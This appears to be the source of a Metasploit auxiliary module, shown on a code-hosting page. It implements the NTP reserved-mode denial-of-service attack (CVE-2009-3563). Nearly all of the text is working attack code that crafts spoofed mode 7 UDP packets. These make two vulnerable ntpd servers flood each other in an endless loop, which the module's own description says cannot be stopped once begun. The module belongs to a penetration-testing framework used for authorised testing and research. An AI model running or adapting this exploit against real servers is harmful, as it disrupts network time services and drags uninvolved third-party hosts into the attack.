Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Capture
8
  include Msf::Auxiliary::Scanner
9

10
  def initialize(info = {})
11
    super(update_info(info,
12
      'Name'           => 'NTP.org ntpd Reserved Mode Denial of Service',
13
      'Description'    => %q{
14
        This module exploits a denial of service vulnerability
15
        within the NTP (network time protocol) demon. By sending
16
        a single packet to a vulnerable ntpd server (Victim A),
17
        spoofed from the IP address of another vulnerable ntpd server
18
        (Victim B), both victims will enter an infinite response loop.
19
        Note, unless you control the spoofed source host or the real
20
        remote host(s), you will not be able to halt the DoS condition
21
        once begun!
22
      },
23
      'Author'         => [ 'todb' ],
24
      'License'        => MSF_LICENSE,
25
      'References'     =>
26
        [
27
          [ 'BID', '37255' ],
28
          [ 'CVE', '2009-3563' ],
29
          [ 'OSVDB', '60847' ],
30
          [ 'URL', 'https://bugs.ntp.org/show_bug.cgi?id=1331' ]
31
        ],
32
      'DisclosureDate' => '2009-10-04'))
33

34
      register_options(
35
        [
36
          OptAddressLocal.new('LHOST', [true, "The spoofed address of a vulnerable ntpd server" ])
37
        ])
38
      deregister_options('FILTER','PCAPFILE')
39

40
  end
41

42
  def run_host(ip)
43
    open_pcap
44

45
    print_status("Sending a mode 7 packet to host #{ip} from #{datastore['LHOST']}")
46

47
    p = PacketFu::UDPPacket.new
48
    p.ip_saddr = datastore['LHOST']
49
    p.ip_daddr = ip
50
    p.ip_ttl = 255
51
    p.udp_src = 123
52
    p.udp_dst = 123
53
    p.payload = ["\x17", "\x97\x00\x00\x00"][rand(2)]
54
    p.recalc
55
    capture_sendto(p,ip)
56

57
    close_pcap
58
  end
59
end
60

61